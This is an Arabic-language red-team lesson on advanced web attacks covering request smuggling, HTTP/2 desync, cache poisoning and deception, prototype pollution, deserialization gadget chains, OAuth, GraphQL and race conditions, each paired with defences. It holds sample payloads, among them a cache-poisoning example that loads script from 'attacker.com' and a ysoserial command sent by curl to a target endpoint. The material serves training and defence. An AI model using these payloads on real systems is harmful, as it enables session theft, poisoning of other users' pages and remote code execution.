الفرق الحمراء — الهجومخبير120mL27

Advanced Web — Smuggling و Desync

Request Smuggling و HTTP/2 Desync و Deserialization chains

#Smuggling#Desync#Deserialization#PP

الويب على مستوى الخبراء

عرفت SQLi؟ XSS؟ IDOR؟ تمام.

- طب أنا حافظ Top 10، يبقى أنا web hacker مظبوط؟

يا مستجد. الـ Top 10 ده الأبجدية. إحنا هنا بنقرا أدب.

طب لما الـ frontend والـ backend يختلفوا في تفسير نفس الـ HTTP request؟

طب لما تخدع الـ cache يخزّن صفحة الضحية الشخصية (بكل بياناته جواها)، وتيجي إنت بعدها تطلبها بنفس الـ URL وتلاقيها قدامك جاهزة؟

طب لما تمرّر CRLF في header فتحقن response جديد بالكامل؟

تشبيه — شرح مبسط
في الـ OWASP Top 10، الثغرة بتبقى في كود المبرمج — هو كاتب SELECT * FROM users WHERE id = $input من غير ما يـ sanitize. تمام، الغلطة واضحة، والإصلاح واضح.

هنا في الدرس ده، المبرمج كاتب كوده صح. مفيش غلطة في كوده هو.
الثغرة عايشة في الفجوة بين الـ components اللي طلبه ماشي بينهم: الـ CDN، الـ load balancer، الـ reverse proxy، الـ backend. كل واحد منهم منتج شركة مختلفة، وكل واحد قارا الـ RFC وفهمه بطريقته الخاصة.

تخيّل خطاب بيوصلك من السفارة. مرّ على 4 موظفين قبل ما يوصلك:
الأول قراه إن الموعد يوم الأحد، التاني قراه يوم الاتنين، التالت ختمه على الأحد، الرابع وقّع على الاتنين.
المهاجم بيستغل الفرق ده. بيبعت طلب HTTP الـ frontend بيقراه على إنه طلب واحد، والـ backend بيقراه على إنه اتنين. أو الـ cache بيخزّنه كصفحة عامة، والـ origin بيرجّعها كصفحة شخصية.

الكود مش غلط. الفهم بين الأطراف هو اللي غلط. والمهاجم بيعيش في الفجوة دي.
إذن رسمي فقط
كل التكنيكات هنا ضمن اختبارات اختراق رسمية (red team / bug bounty). تطبيقها على هدف من غير تفويض = جريمة فيدرالية تحت CFAA. مش "خلي بالك" — ده "هتدخل سجن".

حكاية: PortSwigger Top 10 of 2019 — Request Smuggling رجع من الموت

بُص بقى
James Kettle (Albinowax) في 2019 رجّع تكنيك من 2005 كان الناس فاكراه مات. اللي بيحصل فعلياً؟ في 6 شهور، Bug bounty payouts بأكتر من نص مليون دولار من شركات عملاقة (Slack, PayPal, Atlassian). الثغرة الأصلية اتنشرت في 2005 من Watchfire. الناس قالوا "حُلّت". في 2019: HTTP/2 و CDN-frontends جداد جابوها تاني، بأضعاف القوة.

الدرس: الثغرات القديمة ما بتموتش — بترجع كل ما الـ stack يتغيّر. اللي اتعلم البروتوكول من الجذر، بيلاقي الثغرات قبل ما تتنشر.

HTTP Request Smuggling — لما الـ frontend والـ backend يختلفوا

تشبيه — شرح مبسط
تخيل فيه حارسين بينك وبين البنك: واحد عند البوابة (frontend/proxy) وواحد جوه الصالة (backend). كل واحد بيعد الزوار بطريقة مختلفة. لو بعتّ اتنين ملصوقين، الأول هيشوفهم واحد، والاتنين هيدخلوا. ده بالظبط الـ Request Smuggling.

أنواع الـ desync

  • CL.TE — الـ frontend يستخدم Content-Length، الـ backend يستخدم Transfer-Encoding.
  • TE.CL — العكس.
  • TE.TE — كلاهما يدعمان TE لكن يفسّران obfuscation بشكل مختلف.
  • HTTP/2 → HTTP/1 downgrade — frontend HTTP/2 يحوّل لـ backend HTTP/1.
  • H2.CL / H2.TE — تهريب عبر HTTP/2 mismatched headers.
CL.TE classic
POST / HTTP/1.1
Host: target.gov
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

الـ frontend بيقرا الـ 13 بايت كرسالة واحدة. الـ backend بيشوف chunked → 0 = خلاص نهاية، وبيعتبر SMUGGLED أول الرسالة اللي بعدها من ضحية حقيقية. مين هي الضحية؟ أي حد جاي وراك في نفس الـ connection.

هتعمل بيها إيه؟

  • تسرق session cookies لليوزرز اللي جايين بعدك.
  • تسمم الـ cache.
  • تتخطى access controls اللي على الـ frontend.
  • تحقن XSS على ضحايا تانيين.
  • تسرق كل الـ headers بما فيهم الـ Authorization.

الكشف والأدوات

  • HTTP Request Smuggler (Burp extension by Albinowax).
  • smuggler.py (defparam).
  • h2cSmuggler.
  • Burp Repeater مع timing differential analysis.
الحماية
  1. HTTP/2 من الأول للآخر (مفيش downgrade للـ backend).
  2. ارفض أي request جاي بـ Content-Length و Transfer-Encoding مع بعض.
  3. الـ frontend والـ backend من نفس الـ vendor ونفس الإصدار.
  4. استخدم haproxy/nginx h2-mode strict.
  5. راقب الـ logs على حجم body مختلف عن الـ Content-Length.

HTTP/2 و gRPC — جبهة جديدة بالكامل

  • Rapid Reset (CVE-2023-44487) — DoS عبر فتح streams و إغلاقها فوراً.
  • HPACK bombs — header compression للضغط على الـ memory.
  • CONTINUATION flood (CVE-2024-27316) — frames بلا END_HEADERS.
  • gRPC: تجاوز auth بـ :authority override، deserialization في الـ Protobuf.

Server-Side Cache Poisoning

تشبيه — شرح مبسط
الـ CDN/cache زي أمين مكتبة بيحفظ نسخة من كل كتاب اتطلب. لو لعبتها صح وخليته يحفظ "كتاب مزيف" تحت اسم كتاب أصلي، كل اللي هيطلبه بعد كدة هيلاقي المزيف. الفرق بينك وبينه إنك لعبت في "اسم الكتاب" مش في الكتاب نفسه.
payload
# 1) ابحث عن header غير مدرج في الـ cache key
GET / HTTP/1.1
Host: target.gov
X-Forwarded-Host: attacker.com

# 2) لو الموقع يعكس X-Forwarded-Host في الـ HTML/JS:
<script src="//attacker.com/main.js">

# 3) الـ cache يحفظ النتيجة. كل زائر تالٍ يحمّل JS من المهاجم.

الأداة: Param Miner (Burp) عشان تكتشف الـ unkeyed inputs.

الحماية
متعكسش headers مش موثوقة في الرد. ضيف كل header مؤثر للـ Vary أو للـ cache key. وطبّق normalization صارم على مستوى الـ CDN.

Web Cache Deception — المرايا

عكس الـ Cache Poisoning بالظبط: هنا إنت بتخدع الـ cache يحفظ صفحة خاصة بيوزر معين كأنها static.

payload
# المستخدم لديه /account => يُرجع بياناته الشخصية
# المهاجم يرسل له رابط:
https://target.gov/account/photo.css

# الـ proxy يرى ".css" => يحفظها كـ static
# المهاجم يفتح نفس الرابط => يحصل على بيانات الضحية

Prototype Pollution — JavaScript

في JavaScript، كل object بيورث من Object.prototype. لو لوّثت الـ prototype ده، إنت لوّثت كل object في التطبيق دفعة واحدة.

JavaScript — vulnerable merge
// كود hashmap بسيط
function merge(target, source) {
  for (let k in source) {
    if (typeof source[k] === 'object') merge(target[k], source[k]);
    else target[k] = source[k];
  }
}

// payload في JSON body
{ "__proto__": { "isAdmin": true } }

// الآن: ({}).isAdmin === true لكل object في التطبيق!

فيه Gadget chains معروفة على Express وLodash وjQuery بتحول الـ PP لـ RCE كامل.

الأدوات: ppmap, ppfuzz, server-side-prototype-pollution-gadgets (PortSwigger).

الحماية
  • استخدم Map و Object.create(null) بدل الـ plain objects.
  • اعمل Object.freeze(Object.prototype) في الـ entrypoint.
  • في Node.js: شغّل بـ --disable-proto=delete.
  • Lint بـ eslint-plugin-security + semgrep.

Insecure Deserialization — سلاسل الـ Gadgets

الـ gadget chain هو ترتيب لكلاسات موجودة فعلاً في الـ classpath، لو فككت الـ deserialization بترتيب معين، الكلاسات نفسها بتنفذ كود من غير ما إنت تكتب سطر. إنت بتستخدم سلاحه عليه.

الأشهر في الميدان

Java
ysoserial — CommonsCollections1, Spring, Groovy, Hibernate.
ysoserial.net للـ .NET.
Python
pickle، PyYAML قبل safe_load — استخدم __reduce__.
PHP
phpggc — Laravel, Symfony, WordPress, Doctrine chains.
.NET
BinaryFormatter, NetDataContractSerializer — مع ysoserial.net.
ysoserial — Java
# توليد payload يستغل CommonsCollections1 لتنفيذ id
java -jar ysoserial.jar CommonsCollections1 'id' | base64

# يُحقن في أي endpoint يستخدم ObjectInputStream
curl -X POST https://target/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin
الحماية
  • متعملش deserialization على داتا جاية من بره أصلاً. ده الحل الصح.
  • لو مضطر: whitelist صارم للـ classes (LookAheadObjectInputStream).
  • خليك مرقع: Java SerialFilter، Microsoft AppDomainSwitches.
  • استخدم JSON Schema / Protobuf بدل الـ native serialization.
  • لو لازم تستخدمها بين خدماتك الداخلية بس، وقّع الـ payloads بـ HMAC.

OAuth & SSO — هجمات القفل الذهبي

  • Account takeover via dangling redirect_uri — تسجل subdomain منتهية وتستخدمها redirect.
  • OAuth covert redirect — redirect_uri فيه open redirect.
  • SAML XSW (Signature Wrapping) — تلعب في الـ XML بحيث التوقيع يتحقق على جزء، ويتقرا جزء تاني خالص.
  • JWT confused deputy — توكن جاي من issuer تاني بيتقبل لأن محدش بيفحص الـ iss.
  • Cross-tenant takeover في SaaS متعدد الـ tenants عن طريق trust بايظ.

GraphQL — هجمات أعمق

GraphQL DoS — alias-based
{
  a1: user(id:1) { posts { comments { author { posts { comments { ... } } } } } }
  a2: user(id:2) { ... }
  ... 1000 aliases
}
  • Field suggestions بيكشف الـ schema حتى لو الـ introspection مقفول.
  • Mutation race conditions: aliases كتير عشان تستهلك نقاط reward قبل ما يتفحصوا.
  • auth ضعيف على resolvers معينة لأن حد نسي يحط الفحص.
الحماية
query depth limit + cost analysis + rate limit per IP/user + persisted queries بس مفيش غيرها.

Race Conditions — ثواني بتكلف ملايين

تشبيه — شرح مبسط
تخيل ATM فيه عيب: تضغط Withdraw مرتين بسرعة قبل ما الرصيد يتحدث، يطلع لك المبلغ مرتين. ده race condition / TOCTOU — وقت الفحص مش هو وقت الاستخدام.
exploit
# 50 طلب متزامن لاستخدام كوبون تخفيض مرة واحدة
turbo-intruder + race-single-packet attack
# أو
GO + curl --parallel
ffuf -threads 50 -u https://target/redeem?code=PROMO
  • Turbo Intruder + single-packet attack (PortSwigger 2023) بيبعت عشرات الـ requests في TCP packet واحدة.
  • التأثير: سحب رصيد متكرر، تخطي email verification، حجز اسم يوزر محجوز لحد تاني.
الحماية
  1. Database-level locks (SELECT ... FOR UPDATE).
  2. Idempotency keys على كل عملية حساسة.
  3. Atomic decrement (UPDATE ... SET stock = stock - 1 WHERE stock > 0).
  4. Distributed locks (Redis, Zookeeper) لما تحتاج.

إزاي تصطاد ثغرات حقيقية؟

  1. اقرا الكود لو قادر: source review >> black-box. مفيش مقارنة.
  2. اطلع بره الـ checklist: OWASP خطوة واحدة، الإبداع باقي السكة.
  3. افهم الـ business logic: أغلى الثغرات بتختبي هنا، مش في الـ payload.
  4. وصّل الثغرات ببعض: SSRF صغير + open redirect + IDOR = اختراق كامل.
  5. وثّق proof-of-impact بشكل واضح للـ blue team.

غلطات الـ junior في الويب المتقدم

اللي بيحصل
  • يجرّب smuggling payloads عشوائي — من غير ما يفهم الـ frontend والـ backend اللي قدامه. الـ payload بتاع CL.TE مش هيشتغل على HTTP/2 endpoint.
  • يقول "Race condition" على كل حاجة — في فرق بين race حقيقي وبين "السيرفر استجاب مرتين مع بعض". لازم تثبت impact.
  • يفتكر إن CSP بتقفل XSS — الـ CSP فيها 1000 bypass: JSONP endpoints, base-uri, dangling markup. اقرا CSP Evaluator قبل ما تقول "محمي".
  • ينسى الـ secondary context — SSTI ممكن تطلع في email templates، PDF generators، error pages. مش بس الـ main view.
  • يبلّغ بـ "تكنيك" بدل "impact" — "لقيت CRLF" مش finding. "لقيت CRLF بستخدمه أحقن Set-Cookie فأسرق session" دي finding.

الخلاصة الناشفة

الويب المتقدم مش تقنيات أكتر — هو فهم أعمق.

كل bug class هنا (smuggling, cache poisoning, SSTI, race conditions) بتطلع من نفس المبدأ: اتنين components بيختلفوا في تفسير نفس البيانات.

اللي بيتعلم المبدأ، بيلاقي الـ bug في أي stack.

اللي بيحفظ payloads، بيلاقي الـ bugs اللي اتنشرت — ومش بيلاقي حاجة جديدة أبداً.

اكتبها على غلاف الكشكول:

الثغرة بتعيش في الفجوة بين اتنين components بيختلفوا في الفهم. دوّر على الفجوة، مش على الـ payload.